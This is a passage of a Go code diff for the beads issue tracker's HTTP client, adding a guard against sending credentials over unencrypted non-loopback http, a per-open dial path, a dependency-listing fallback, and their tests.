SpecRow: "D9 L14, D8 row 4", PinnedBy: pinnedByS3Conformance, }, @@ -1102,9 +1104,10 @@ func commandRows() []Row { "the OSS classifier would happily serve it from the opened store, and a bd serve re-serving a remote bd serve is a proxy chain nobody designed: run serve where the database is"), { ID: "F-close", Kind: KindRefuse, Command: "close", Capability: "issues.batchClose", - What: "`bd close` is SERVED whole — single id, several ids and --claim-next — over issues:batchClose; it refuses only against a DOWN-LEVEL server that does not advertise issues.batchClose", - Why: "the CLI's close front door routes every id, single-id included, through BatchCloser.CloseBatch, and Lifecycle.Close has zero CLI callers at tip. The wire now carries issues:batchClose, so the whole CloseBatchRequest — multi-item and the atomic ClaimNext included — is one wire call and one server-side transaction; nothing is composed or refused where the capability is present. " + - "Against a server too old to advertise issues.batchClose, servesBatchClose() reads the handshake snapshot and routes around the batch dial entirely, so no Preflight runs and no wire.ErrCapabilityAbsent is raised: the down-level leg's refuseUnservedCloseShape raises the STORE's own *ErrHTTPUnsupported (batchcloser.go), and cmd/bd's renderEscapedHTTPRefusal turns it into the capability-absent taxonomy (case 2) by scanning the served command's own capability list for the first token the server does not advertise — issues.batchClose, which is the token it then names to upgrade to. The single-item, no-ClaimNext shape still composes onto closeIssue in that down-level leg (see L18); the shapes that cannot compose refuse there. The item cap is L-close-cap", + What: "`bd close` is SERVED whole — single id and several ids — over issues:batchClose; it refuses against a DOWN-LEVEL server that does not advertise issues.batchClose, and --claim-next refuses against every server, before anything closes", + Why: "the CLI's close front door routes every id, single-id included, through BatchCloser.CloseBatch, and Lifecycle.Close has zero CLI callers at tip. The wire now carries issues:batchClose, so a CloseBatchRequest of any size is one wire call and one server-side transaction; nothing is composed or refused where the capability is present. " + + "THE NEXT CLAIM IS THE EXCEPTION. batchCloseIssues has no member to carry it, so the client refuses a ClaimNext on both legs, after the claim's own validation and before the dial (W-CloseBatchRequest.ClaimNext). Closing and then claiming would split the role's one transaction in two, and a claim that failed after the closes committed could not report them, because the role answers with an error or with outcomes, never both. On the CLI's chain the external-dependency decorator (design 3.6) refuses first unless the server advertises wire.CapExternalDependencies, and its refusal says nothing closed and names the commands that do the same work: close without --claim-next, then `bd ready --claim` (internal/storage/externaldeps/remote_roles.go). " + + "Against a server too old to advertise issues.batchClose, servesBatchClose() reads the handshake snapshot and routes around the batch dial entirely, so no Preflight runs and no wire.ErrCapabilityAbsent is raised: the down-level leg's refuseUnservedCloseShape raises the STORE's own *ErrHTTPUnsupported (batchcloser.go), which names the refused shape and the server, and cmd/bd prints it against each id the batch carried. The single-item, no-ClaimNext shape still composes onto closeIssue in that down-level leg (see L18); the shapes that cannot compose refuse there. The item cap is L-close-cap", SpecRow: "D8 row 17 (resolved, Wire), D9 L18, D9 L-close-cap", // The command is served; the down-level refusal is the capability gate's, // exercised against a server without issues.batchClose. diff --git a/internal/httpclient/insecure_credential_guard.go b/internal/httpclient/insecure_credential_guard.go new file mode 100644 index 000000000..07dc0e3e9 --- /dev/null +++ b/internal/httpclient/insecure_credential_guard.go @@ -0,0 +1,116 @@ +// Written fresh for OSS beads S6 (no bd-enterprise source copied): closes +// the S6 review's MED-4 finding. BearerProvider.warnInsecure (credential.go) +// only ever WARNED that a bearer was bound for a non-loopback http:// target; +// `bd connect` (connect.go) separately REFUSES that combination, but only at +// connect time, and only for the ambient ladder it dials with there. Every +// ordinary open after that — Open, OpenReadOnly (the registered dialer) and +// OpenWith (the per-open seam backend/http's embedder door uses) — had no +// refusal at all: a sidecar or an embedder-supplied Target pinned at a +// non-loopback http:// host, however that happened, would have every later +// `bd` command send its bearer in the clear with nothing stopping it. +package httpclient + +import ( + "context" + "fmt" + "net/http" + "os" + "strings" + + "github.com/steveyegge/beads/internal/configfile" +) + +// AllowInsecureCredentialEnv opts an entire process into sending a credential +// over plain http to a non-loopback bd serve. +// +// It exists because Open/OpenReadOnly/OpenWith's callers — every bd command +// but connect — have no flag of their own to thread an opt-in through, unlike +// `bd connect --allow-plaintext`. Setting it is a deliberate, informed +// decision (the same one --allow-plaintext records at connect time): the +// operator trusts the network path, typically a reverse proxy terminating TLS +// in front of bd serve. +// +// #nosec G101 -- the NAME of an environment variable, not a credential. +const AllowInsecureCredentialEnv = "BEADS_HTTP_ALLOW_INSECURE" + +func allowInsecureCredentialFromEnv() bool { + v := strings.TrimSpace(os.Getenv(AllowInsecureCredentialEnv)) + return v == "1" || strings.EqualFold(v, "true") +} + +// guardInsecureCredential wraps creds so that, once bound for a plain-http, +// non-loopback target, it refuses to let ANY credential header it adds reach +// the wire — unless allowed, which is true when EITHER opts.AllowInsecureCredential +// (DialOptions, which connect.go's own Handshake probe sets from +// --allow-plaintext before any sidecar exists) OR target.AllowInsecureCredential +// (the sidecar's persisted record of that same grant, read back on every +// LATER dial for this workspace — see Target.AllowInsecureCredential's own +// doc) is true, or BEADS_HTTP_ALLOW_INSECURE=1 is set in the environment. +// +// It wraps the resolved wire.CredentialProvider itself, never switching on +// its concrete type, so the refusal is uniform across the ambient +// BearerProvider ladder (Dial, Open, OpenReadOnly) AND an embedder-supplied +// ProvidedCredential (backends.OpenOptions.Credential, OpenWith's seam) — any +// implementation at all, including third-party ones this package has never +// heard of. +// +// A nil creds (the tip server's loopback-trust posture: no Authorization +// header is ever sent for an unauthenticated open) passes through untouched — +// there is nothing to guard, and refusing an unauthenticated plaintext dial +// would be a different, broader policy than the one this finding asks for +// ("refuse SENDING CREDENTIALS over http:// to non-loopback"). +func guardInsecureCredential(target Target, creds CredentialProvider, allowed bool) CredentialProvider { + if creds == nil { + return nil + } + base := target.BaseURL + if base == nil || base.Scheme != "http" || configfile.IsLocalHostString(base.Hostname()) { + return creds + } + if allowed || allowInsecureCredentialFromEnv() { + return creds + } + return &insecureCredentialGuard{inner: creds, endpoint: base.Redacted()} +} + +// insecureCredentialGuard is guardInsecureCredential's refusal. It lets the +// inner provider run first (so a provider that attaches nothing — an +// unconfigured ambient ladder — is never refused) and only turns the request +// into an error when Authorize actually added a header: the diff is taken on +// the header count rather than on any named header, deliberately, since +// CredentialProvider's own doc names more than one scheme ("Authorization: +// Bearer, DPoP, ...") and a third-party provider may add a header this +// package has never heard of either. +type insecureCredentialGuard struct { + inner CredentialProvider + endpoint string +} + +func (g *insecureCredentialGuard) Authorize(ctx context.Context, req *http.Request) error { + before := len(req.Header) + if err := g.inner.Authorize(ctx, req); err != nil { + return err + } + if len(req.Header) > before { + return fmt.Errorf( + "refusing to send a credential to %s over plain http: %s is not loopback, and the credential would cross the network unencrypted; use https://, run `bd connect --allow-plaintext` to accept the risk knowingly for this server, or set %s=1 to override", + g.endpoint, req.URL.Hostname(), AllowInsecureCredentialEnv) + } + return nil +} + +// Refresh delegates unchanged: a refused request never reaches a 401, so this +// guard has nothing of its own to add here. +func (g *insecureCredentialGuard) Refresh(ctx context.Context) (bool, error) { + return g.inner.Refresh(ctx) +} + +// Source forwards the inner provider's provenance report, structurally +// satisfying wire's unexported credentialSourceReporter without importing it, +// so a 401 after an ALLOWED insecure dial still names the right ladder rung. +func (g *insecureCredentialGuard) Source() string { + if r, ok := g.inner.(interface{ Source() string }); ok { + return r.Source() + } + return "" +} diff --git a/internal/httpclient/insecure_credential_guard_test.go b/internal/httpclient/insecure_credential_guard_test.go new file mode 100644 index 000000000..8e821f403 --- /dev/null +++ b/internal/httpclient/insecure_credential_guard_test.go @@ -0,0 +1,251 @@ +// Written fresh for OSS beads S6 (no bd-enterprise source copied). Tests +// guardInsecureCredential (insecure_credential_guard.go), the S6 review's +// MED-4 fix: Open/OpenReadOnly/OpenWith's shared choke point for refusing a +// credential bound for a plain-http, non-loopback target. +package httpclient + +import ( + "context" + "net/http" + "strings" + "testing" +) + +const nonLoopbackTestHost = "198.51.100.1" // RFC 5737 TEST-NET-2: reserved, globally unroutable. + +func newTestRequest(t *testing.T, rawURL string) *http.Request { + t.Helper() + req, err := http.NewRequest(http.MethodGet, rawURL, nil) + if err != nil { + t.Fatalf("new request: %v", err) + } + return req +} + +// TestGuardInsecureCredentialPassesThroughNilCredential pins the loopback- +// trust posture: an unauthenticated open never had anything to guard, and +// must not be turned into a refusal by this fix. +func TestGuardInsecureCredentialPassesThroughNilCredential(t *testing.T) { + target := Target{BaseURL: mustParseURL(t, "http://"+nonLoopbackTestHost+"/")} + if got := guardInsecureCredential(target, nil, false); got != nil { + t.Fatalf("guardInsecureCredential(nil) = %v, want nil", got) + } +} + +// TestGuardInsecureCredentialPassesThroughForLoopback: the finding is about +// a NON-loopback target; a loopback one (what the tip OSS server ships with) +// must be unaffected regardless of opts. +func TestGuardInsecureCredentialPassesThroughForLoopback(t *testing.T) { + target := Target{BaseURL: mustParseURL(t, "http://127.0.0.1:8080/")} + inner := stubProvider{tag: "loopback"} + got := guardInsecureCredential(target, inner, false) + if got != CredentialProvider(inner) { + t.Fatalf("guardInsecureCredential returned %T, want the inner provider unwrapped for a loopback target", got) + } +} + +// TestGuardInsecureCredentialPassesThroughForHTTPS: the finding is about +// PLAIN http; a non-loopback https target is exactly what a credential should +// cross the network over, so it must be unaffected. +func TestGuardInsecureCredentialPassesThroughForHTTPS(t *testing.T) { + target := Target{BaseURL: mustParseURL(t, "https://"+nonLoopbackTestHost+"/")} + inner := stubProvider{tag: "https"} + got := guardInsecureCredential(target, inner, false) + if got != CredentialProvider(inner) { + t.Fatalf("guardInsecureCredential returned %T, want the inner provider unwrapped for an https target", got) + } +} + +// TestGuardInsecureCredentialRefusesNonLoopbackPlainHTTP is MED-4's core +// case: a credential provider that DOES attach a header to a non-loopback +// plain-http target must be refused, by default, with no opt-in given. +func TestGuardInsecureCredentialRefusesNonLoopbackPlainHTTP(t *testing.T) { + target := Target{BaseURL: mustParseURL(t, "http://"+nonLoopbackTestHost+"/")} + inner := stubProvider{tag: "will-attach"} + guarded := guardInsecureCredential(target, inner, false) + if guarded == CredentialProvider(inner) { + t.Fatal("guardInsecureCredential returned the inner provider unwrapped for a non-loopback plain-http target") + } + + req := newTestRequest(t, "http://"+nonLoopbackTestHost+"/v0/beads/context") + err := guarded.Authorize(context.Background(), req) + if err == nil { + t.Fatal("Authorize succeeded; want a refusal (plain http, non-loopback, no opt-in)") + } + if !strings.Contains(err.Error(), "refusing to send a credential") || !strings.Contains(err.Error(), AllowInsecureCredentialEnv) { + t.Errorf("Authorize error = %q, want it to name the refusal and %s", err.Error(), AllowInsecureCredentialEnv) + } +} + +// TestGuardInsecureCredentialPassesThroughWhenNothingIsAttached: a provider +// that is consulted but attaches NOTHING (the ambient ladder with no token +// configured, the tip server's loopback-trust posture extended to a +// non-loopback target with no credential at all) must not be refused — the +// finding is specifically about a credential crossing the network, not about +// plain http to a non-loopback host in general. +func TestGuardInsecureCredentialPassesThroughWhenNothingIsAttached(t *testing.T) { + target := Target{BaseURL: mustParseURL(t, "http://"+nonLoopbackTestHost+"/")} + inner := noopProvider{} + guarded := guardInsecureCredential(target, inner, false) + + req := newTestRequest(t, "http://"+nonLoopbackTestHost+"/v0/beads/context") + if err := guarded.Authorize(context.Background(), req); err != nil { + t.Fatalf("Authorize: %v, want no refusal since no credential was attached", err) + } + if req.Header.Get("Authorization") != "" { + t.Fatalf("Authorization header = %q, want none", req.Header.Get("Authorization")) + } +} + +// TestGuardInsecureCredentialAllowedByOptIn proves DialOptions' +// AllowInsecureCredential=true (what connect.go sets from --allow-plaintext) +// lets the SAME combination through that the default test above refuses. +func TestGuardInsecureCredentialAllowedByOptIn(t *testing.T) { + target := Target{BaseURL: mustParseURL(t, "http://"+nonLoopbackTestHost+"/")} + inner := stubProvider{tag: "opted-in"} + guarded := guardInsecureCredential(target, inner, true) + if guarded != CredentialProvider(inner) { + t.Fatalf("guardInsecureCredential(allowed=true) returned %T, want the inner provider unwrapped", guarded) + } +} + +// TestGuardInsecureCredentialAllowedByEnv proves the BEADS_HTTP_ALLOW_INSECURE +// escape hatch Open/OpenReadOnly/OpenWith's callers rely on (they have no +// flag of their own to set opts.AllowInsecureCredential through). +func TestGuardInsecureCredentialAllowedByEnv(t *testing.T) { + t.Setenv(AllowInsecureCredentialEnv, "1") + target := Target{BaseURL: mustParseURL(t, "http://"+nonLoopbackTestHost+"/")} + inner := stubProvider{tag: "env-opted-in"} + guarded := guardInsecureCredential(target, inner, false) + if guarded != CredentialProvider(inner) { + t.Fatalf("guardInsecureCredential(env opt-in) returned %T, want the inner provider unwrapped", guarded) + } +} + +// TestGuardInsecureCredentialDelegatesRefreshAndSource proves the refusal +// wrapper stays transparent to the two capabilities a CredentialProvider may +// also offer, so a 401's rotation retry and its source-naming both still work +// across an ALLOWED insecure dial. +func TestGuardInsecureCredentialDelegatesRefreshAndSource(t *testing.T) { + target := Target{BaseURL: mustParseURL(t, "http://"+nonLoopbackTestHost+"/")} + inner := &reportingProvider{source: "test-rung"} + guarded := guardInsecureCredential(target, inner, true) + if guarded != CredentialProvider(inner) { + t.Fatalf("guardInsecureCredential(allowed=true) returned %T, want the inner provider unwrapped", guarded) + } + + // With allowed=false the guard wraps, and must still forward both calls. + wrapped := guardInsecureCredential(target, inner, false) + retry, err := wrapped.Refresh(context.Background()) + if err != nil || !retry { + t.Fatalf("Refresh = (%v, %v), want (true, nil)", retry, err) + } + reporter, ok := wrapped.(interface{ Source() string }) + if !ok { + t.Fatal("wrapped provider does not implement Source() string") + } + if got := reporter.Source(); got != "test-rung" { + t.Fatalf("Source() = %q, want %q", got, "test-rung") + } +} + +// TestDialWithWiresAllowInsecureCredentialThroughToTheGuard is the +// integration proof that DialWith actually applies guardInsecureCredential +// (not just that the helper is correct in isolation): a real ambient +// BearerProvider (BEADS_HTTP_TOKEN set) dialing a non-loopback plain-http +// target must be refused before the server ever sees the request, and the +// SAME dial must go through once AllowInsecureCredential is set — proving +// connect.go's --allow-plaintext -> DialOptions.AllowInsecureCredential wire +// actually reaches this guard. +func TestDialWithWiresAllowInsecureCredentialThroughToTheGuard(t *testing.T) { + clearCredentialEnvironment(t) + t.Setenv(TokenEnv, nonLoopbackTestHost+"=integration-token") + server := &contextServer{body: v0Context("proj-insecure-wiring")} + srv := server.start(t) + + target := Target{BaseURL: mustParseURL(t, "http://"+nonLoopbackTestHost+"/")} + redirecting := &http.Client{Transport: &redirectToAddrTransport{addr: strings.TrimPrefix(srv.URL, "http://")}} + + _, err := Handshake(context.Background(), target, DialOptions{HTTPClient: redirecting}) + if err == nil { + t.Fatal("Handshake succeeded; want DialWith's insecure-credential guard to refuse") + } + if !strings.Contains(err.Error(), "refusing to send a credential") { + t.Errorf("Handshake error = %v, want the insecure-credential refusal", err) + } + if len(server.seen) != 0 { + t.Errorf("server saw %d request(s); want the guard to refuse before ever dialing", len(server.seen)) + } + + snap, err := Handshake(context.Background(), target, DialOptions{HTTPClient: redirecting, AllowInsecureCredential: true}) + if err != nil { + t.Fatalf("Handshake with AllowInsecureCredential=true: %v", err) + } + if snap.ProjectId != "proj-insecure-wiring" { + t.Errorf("project_id = %q, want proj-insecure-wiring", snap.ProjectId) + } +} + +// TestDialWithWiresTargetAllowInsecureCredentialThroughToTheGuard is +// TestDialWithWiresAllowInsecureCredentialThroughToTheGuard's companion for +// the PERSISTED grant (bee-ghosttrack CHANGES_REQUESTED on #7288, +// should-fix 2): `bd connect --allow-plaintext` now saves the opt-in onto +// the sidecar (Target.AllowInsecureCredential, round-tripped through +// SaveTarget/LoadTarget), so an ORDINARY command's dial — which builds +// DialOptions fresh with AllowInsecureCredential left false, unlike +// connect's own Handshake probe — must still get through on target's say +// alone. Without DialWith also consulting target.AllowInsecureCredential, a +// workspace connected with the flag would need BEADS_HTTP_ALLOW_INSECURE=1 +// set for every later command too, which is exactly the gap this closes. +func TestDialWithWiresTargetAllowInsecureCredentialThroughToTheGuard(t *testing.T) { + clearCredentialEnvironment(t) + t.Setenv(TokenEnv, nonLoopbackTestHost+"=integration-token") + server := &contextServer{body: v0Context("proj-insecure-wiring-target")} + srv := server.start(t) + + redirecting := &http.Client{Transport: &redirectToAddrTransport{addr: strings.TrimPrefix(srv.URL, "http://")}} + + plainTarget := Target{BaseURL: mustParseURL(t, "http://"+nonLoopbackTestHost+"/")} + if _, err := Handshake(context.Background(), plainTarget, DialOptions{HTTPClient: redirecting}); err == nil { + t.Fatal("Handshake with no grant anywhere succeeded; want the guard to refuse") + } + + grantedTarget := Target{BaseURL: mustParseURL(t, "http://"+nonLoopbackTestHost+"/"), AllowInsecureCredential: true} + snap, err := Handshake(context.Background(), grantedTarget, DialOptions{HTTPClient: redirecting}) + if err != nil { + t.Fatalf("Handshake with target.AllowInsecureCredential=true (opts left false): %v", err) + } + if snap.ProjectId != "proj-insecure-wiring-target" { + t.Errorf("project_id = %q, want proj-insecure-wiring-target", snap.ProjectId) + } +} + +// redirectToAddrTransport sends every request to addr instead of req.URL's +// own host, so a test can dial a real (loopback) httptest.Server while +// target.BaseURL carries a different, non-loopback-looking host — the shape +// needed to exercise the insecure-credential guard against a server that +// actually answers once the guard lets a request through. +type redirectToAddrTransport struct{ addr string } + +func (r *redirectToAddrTransport) RoundTrip(req *http.Request) (*http.Response, error) { + clone := req.Clone(req.Context()) + clone.URL.Host = r.addr + clone.Host = r.addr + return http.DefaultTransport.RoundTrip(clone) +} + +// noopProvider never attaches anything — the ambient ladder's unconfigured +// state, or a third-party provider that only sometimes authorizes. +type noopProvider struct{} + +func (noopProvider) Authorize(context.Context, *http.Request) error { return nil } +func (noopProvider) Refresh(context.Context) (bool, error) { return false, nil } + +// reportingProvider is a minimal CredentialProvider that also implements the +// wire package's unexported credentialSourceReporter shape structurally, to +// prove insecureCredentialGuard forwards both Refresh and Source. +type reportingProvider struct{ source string } + +func (p *reportingProvider) Authorize(context.Context, *http.Request) error { return nil } +func (p *reportingProvider) Refresh(context.Context) (bool, error) { return true, nil } +func (p *reportingProvider) Source() string { return p.source } diff --git a/internal/httpclient/metadata.go b/internal/httpclient/metadata.go index a58c5619c..fe0bc207e 100644 --- a/internal/httpclient/metadata.go +++ b/internal/httpclient/metadata.go @@ -112,7 +112,10 @@ func (s *Store) SetLocalMetadata(_ context.Context, key, value string) error { // A wrong-server handshake is the one error that must NOT collapse to that // benign skip (ga-b8ddd.11, Option C): the mismatch carries the id the server // actually owns, so handing that Got value back is what lets cmd/bd's -// validateWorkspaceIdentity compare it against metadata.json and FIRE the +// validateWorkspaceIdentity compare it against the workspace's expected +// project id — the sidecar's ExpectProjectID for this backend, not +// metadata.json (bee-ghosttrack CHANGES_REQUESTED on #7288: metadata.json's +// project_id is not kept current across `bd connect`) — and FIRE the // identity check — the write is refused, exit 1. What this path does NOT surface // is the wire ProjectMismatchError's own text: only the Got id survives this // method, so the server URL, database, repo root and recovery clause it carries diff --git a/internal/httpclient/open_with.go b/internal/httpclient/open_with.go new file mode 100644 index 000000000..22f6e9024 --- /dev/null +++ b/internal/httpclient/open_with.go @@ -0,0 +1,69 @@ +// Written fresh for OSS beads S6 (no bd-enterprise source copied). A sibling +// enterprise implementation takes over credential selection with its own +// Options.Credentials hook; OSS instead threads the backends.OpenOptions.Credential +// seam S1 defined, which backend_credential.go's ResolveCredential (S2) was +// built to resolve but which, until this file, had no production caller. +// OpenWith is that caller. +package httpclient + +import ( + "context" + "fmt" + + "github.com/steveyegge/beads/internal/storage" + "github.com/steveyegge/beads/internal/storage/backends" +) + +// OpenWith is the backends.Backend.OpenWith hook backend/http (bdhttp) +// installs: the per-open seam that honors opts.Credential, opts.HTTPClient and +// opts.UserAgent for exactly THIS open, rather than the process-wide dialer +// Open/OpenReadOnly (NewFromConfig/NewReadOnlyFromConfig) use via the +// package-level registered dialer. +// +// That distinction is the whole reason this is a separate code path: the +// registered dialer is installed once, at process start, from one fixed +// DialOptions — exactly what a single-tenant CLI process wants, but useless +// to a multi-tenant embedder (gc, Gas City) that needs a different credential +// per workspace it opens in the same process. OpenWith dials fresh every call. +// +// base supplies the Register-time defaults (bdhttp.Options.UserAgent / +// HTTPClient) that a non-empty opts.UserAgent or non-nil opts.HTTPClient +// overrides for this one open. +// +// require is bdhttp.Options.RequireCredential: when true, a nil opts.Credential +// is ErrCredentialRequired rather than a silent fall-through to the ambient +// bearer ladder (BEADS_HTTP_TOKEN, BEADS_HTTP_TOKEN_COMMAND, the credentials +// file) — process-global ambient state a multi-tenant embedder cannot trust to +// name the right tenant. See ResolveCredential. +// +// Unlike Open/OpenReadOnly, OpenWith never consults BEADS_HTTP_CA_FILE: CA +// resolution is pinned to target.CAFile alone via DialOptionsForTarget, +// because an embedder juggling several targets in one process must not have +// one silently renarrowed (or widened) by an ambient value an unrelated open +// exported. See DialOptionsForTarget's own doc for why that rung is skipped +// here specifically. +func OpenWith(ctx context.Context, beadsDir string, opts backends.OpenOptions, base DialOptions, require bool) (storage.DoltStorage, error) { + target, err := LoadTarget(beadsDir) + if err != nil { + return nil, err + } + creds, err := ResolveCredential(opts, target.BaseURL, require) + if err != nil { + return nil, err + } + dialOpts := base + if opts.UserAgent != "" { + dialOpts.UserAgent = opts.UserAgent + } + if opts.HTTPClient != nil { + dialOpts.HTTPClient = opts.HTTPClient + } + dialOpts = DialOptionsForTarget(target, dialOpts) + conn, err := DialWith(target, creds, dialOpts) + if err != nil { + return nil, fmt.Errorf("dialing %s: %w", target, err) + } + s := New(target, conn, nil) + s.local = newLocalMetadata(beadsDir) + return s, nil +} diff --git a/internal/httpclient/open_with_test.go b/internal/httpclient/open_with_test.go new file mode 100644 index 000000000..ed23ed473 --- /dev/null +++ b/internal/httpclient/open_with_test.go @@ -0,0 +1,67 @@ +// Written fresh for OSS beads S6 (no bd-enterprise source copied). +package httpclient + +import ( + "context" + "net/http" + "net/url" + "path/filepath" + "strings" + "testing" + + "github.com/steveyegge/beads/internal/storage/backends" +) + +// literalSecretProvider is a CredentialProvider whose unexported field holds +// the literal secret value, the same shape a real token-bearing provider +// takes. It exists only so a test can grep for that literal in an error +// string: fmt's %+v prints unexported struct fields by value, so if OpenWith +// (or anything it calls) ever formats opts.Credential directly into an error +// — rather than formatting only the target and the wrapped dial error, as +// open_with.go's "dialing %s: %w" does today — this field's value leaks into +// logs and terminals, exactly what wire.CredentialProvider's own doc comment +// on Authorize forbids ("The error must not carry the credential"). +type literalSecretProvider struct { + secret string +} + +func (literalSecretProvider) Authorize(context.Context, *http.Request) error { return nil } +func (literalSecretProvider) Refresh(context.Context) (bool, error) { return false, nil } + +// TestOpenWithDialErrorNeverFormatsTheCredential kills the mutation that +// widens open_with.go's dial-failure wrap from +// `fmt.Errorf("dialing %s: %w", target, err)` to one that also interpolates +// opts.Credential (e.g. "dialing %s cred=%+v: %w"). A credential a caller +// supplies through OpenOptions.Credential must never surface in an error this +// package hands back — the error travels into the embedder's own logs and +// terminals, same as the doc comment on CredentialProvider.Authorize says. +// +// The dial target names a CA file that does not exist, which DialWith (via +// dialTransport) refuses before opening any socket: a config-time error, not +// a network one, so the test stays fast and never reaches any real network +// — the standing safety rule for this suite — while still giving OpenWith a +// real, non-nil error from the exact call it wraps. +func TestOpenWithDialErrorNeverFormatsTheCredential(t *testing.T) { + beadsDir := t.TempDir() + base, err := url.Parse("http://127.0.0.1:1/") + if err != nil { + t.Fatalf("parse base url: %v", err) + } + target := Target{BaseURL: base, CAFile: filepath.Join(beadsDir, "no-such-ca.pem")} + if err := SaveTarget(beadsDir, target); err != nil { + t.Fatalf("SaveTarget: %v", err) + } + + const secret = "KILL-ME-SECRET-1234" + opts := backends.OpenOptions{ + Credential: ProvidedCredential{Provider: literalSecretProvider{secret: secret}}, + } + + _, err = OpenWith(context.Background(), beadsDir, opts, DialOptions{}, false) + if err == nil { + t.Fatal("OpenWith against an unreachable loopback port returned no error; cannot assert what its error does, or does not, carry") + } + if strings.Contains(err.Error(), secret) { + t.Errorf("OpenWith's error carries the literal credential secret %q: %v", secret, err) + } +} diff --git a/internal/httpclient/roles_graph.go b/internal/httpclient/roles_graph.go index 4cd3a85e5..41f831959 100644 --- a/internal/httpclient/roles_graph.go +++ b/internal/httpclient/roles_graph.go @@ -274,6 +274,106 @@ func (s *Store) GetDependencyRecords(ctx context.Context, id string) ([]*types.D // rather than chunking past it. See httpGraphCounter.CountEdges. const maxEdgeCountAnchors = 100 +// GetAllDependencyRecords answers storage.DoltStorage's broad, unfiltered +// dependency dump: every stored edge, grouped by its owning issue's id — the +// same shape issueops.GetAllDependencyRecordsInTx returns for a local +// backend. +// +// It overrides the unsupported_gen.go stub (design 3.6, HIGH-1): the +// external-deps decorator's loadBlockingState falls back to this method +// whenever the inner store implements neither +// storage.ExternalDependencyPolicyProber-reported server enforcement nor the +// narrower storage.ExternalDependencyQueryStore, which is exactly this +// backend's shape against a server that does NOT advertise +// wire.CapExternalDependencies. Refusing here (the old unsupported behavior) +// would make `bd ready`/`bd close`/claim hard-fail against such a server +// instead of correctly enforcing the policy client-side — the regression +// HIGH-1 reports. +// +// There is no single wire operation for "every dependency in the workspace": +// listDependencies is anchored at up to maxEdgeCountAnchors ids per call, so +// this walks every issue id over the full-exhaustion list (allIssueIDs) and +// reads its edges back in chunks of that size. It is O(issues/100) requests, +// which only this fallback path ever pays — a server that advertises the +// capability, or that implements the narrower query, never reaches this +// method. +func (s *Store) GetAllDependencyRecords(ctx context.Context) (map[string][]*types.Dependency, error) { + ids, err := s.allIssueIDs(ctx) + if err != nil { + return nil, fmt.Errorf("list all issue ids: %w", err) + } + result := make(map[string][]*types.Dependency) + for _, chunk := range chunkStrings(ids, maxEdgeCountAnchors) { + q := url.Values{} + for _, id := range chunk { + q.Add("issue_id", id) + } + var body apigen.DependencyEdges + if err := s.dispatch(ctx, wire.Request{ + Op: wire.OpListDependencies, + Method: http.MethodGet, + Path: wire.PathDependencies, + Query: q, + }, &body); err != nil { + return nil, err + } + for i := range body.Items { + edge := &body.Items[i] + result[edge.IssueID] = append(result[edge.IssueID], edge) + } + } + return result, nil +} + +// allIssueIDs enumerates every issue id in the workspace, regardless of +// status or kind: closed, templates, gates, infra and ephemeral/wisp issues +// are all included (the list operation's narrower defaults otherwise exclude +// several of those), because a dependency row can be owned by any of them and +// GetAllDependencyRecords promises the whole table, not the default `bd +// list` view of it. +// +// want=0, maxRows=0 walks fetchIssuePages to full exhaustion rather than one +// page. +func (s *Store) allIssueIDs(ctx context.Context) ([]string, error) { + q := url.Values{ + "all": {"true"}, + "include_templates": {"true"}, + "include_gates": {"true"}, + "include_infra": {"true"}, + "include_ephemeral": {"true"}, + } + rows, err := s.fetchIssuePages(ctx, q, true, 0, 0, "", nil) + if err != nil { + return nil, err + } + ids := make([]string, 0, len(rows)) + for _, row := range rows { + if row == nil || row.Issue == nil || row.ID == "" { + continue + } + ids = append(ids, row.ID) + } + return ids, nil +} + +// chunkStrings splits ids into slices of at most size, preserving order. size +// must be positive; the last chunk may be shorter. +func chunkStrings(ids []string, size int) [][]string { + if len(ids) == 0 { + return nil + } + chunks := make([][]string, 0, (len(ids)+size-1)/size) + for len(ids) > 0 { + n := size + if n > len(ids) { + n = len(ids) + } + chunks = append(chunks, ids[:n]) + ids = ids[n:] + } + return chunks +} + // httpGraphCounter serves CountEdges from countDependencyEdges — the // TWENTY-SECOND wire-backed accessor, and the only role on this surface whose // answer is a number PER ANCHOR. diff --git a/internal/httpclient/served_external_dependency_policy_test.go b/internal/httpclient/served_external_dependency_policy_test.go new file mode 100644 index 000000000..92e0e9480 --- /dev/null +++ b/internal/httpclient/served_external_dependency_policy_test.go @@ -0,0 +1,492 @@ +//go:build cgo + +package httpclient + +import ( + "errors" + "fmt" + "slices" + "testing" + + "github.com/steveyegge/beads/internal/storage" + "github.com/steveyegge/beads/internal/storage/externaldeps" + storageops "github.com/steveyegge/beads/internal/storage/issueops" + "github.com/steveyegge/beads/internal/types" + "github.com/steveyegge/beads/internal/workapi" + "github.com/steveyegge/beads/issueops" +) + +// TestServedReadyExcludesUnsatisfiedExternalDependencyWithoutServerCapability +// reproduces the S6 review's HIGH-1 regression: cmd/bd's +// wireExternalDependencyPolicy used to skip wrapping ANY registered remote +// backend outright (storage.RemoteBackendStore), so an issue blocked by an +// external:: dependency was listed by `bd ready` over +// http even though the identical workspace against a local backend would +// exclude it — the policy was silently skipped, not deferred to a server that +// claimed to enforce it (design 3.6). +// +// This pins the fix at the layer design 3.6 actually gates on: the decorator +// must still apply client-side enforcement whenever the server's handshake +// does not advertise wire.CapExternalDependencies. Today's OSS httpapi never +// advertises it (confirmed below), so this also exercises the http backend's +// GetAllDependencyRecords fallback (loadBlockingState's compatibility path) +// against a real served server, end to end. +func TestServedReadyExcludesUnsatisfiedExternalDependencyWithoutServerCapability(t *testing.T) { + env := newServedEnv(t, "hixd") + ctx := t.Context() + + blockedID := env.prefix + "-blocked" + freeID := env.prefix + "-free" + if err := env.createIssue(ctx, &types.Issue{ + ID: blockedID, Title: "blocked by an external capability", + Status: types.StatusOpen, Priority: 2, IssueType: types.TypeTask, + }, "tester"); err != nil { + t.Fatalf("seed blocked issue: %v", err) + } + if err := env.createIssue(ctx, &types.Issue{ + ID: freeID, Title: "not blocked by anything", + Status: types.StatusOpen, Priority: 2, IssueType: types.TypeTask, + }, "tester"); err != nil { + t.Fatalf("seed free issue: %v", err) + } + if err := env.addDependency(ctx, &types.Dependency{ + IssueID: blockedID, + DependsOnID: "external:otherproj:cap", + Type: types.DepBlocks, + }, "tester"); err != nil { + t.Fatalf("seed external dependency: %v", err) + } + + // The premise this test pins: the server this harness serves does not + // advertise wire.CapExternalDependencies. If a future change makes OSS + // httpapi advertise it, this test's exclusion no longer proves the + // client-side path and must be re-pointed at a server that genuinely + // withholds the capability. + if enforced, err := env.subject.ServerEnforcesExternalDependencyPolicy(ctx); err != nil { + t.Fatalf("ServerEnforcesExternalDependencyPolicy: %v", err) + } else if enforced { + t.Fatal("served test server unexpectedly advertises 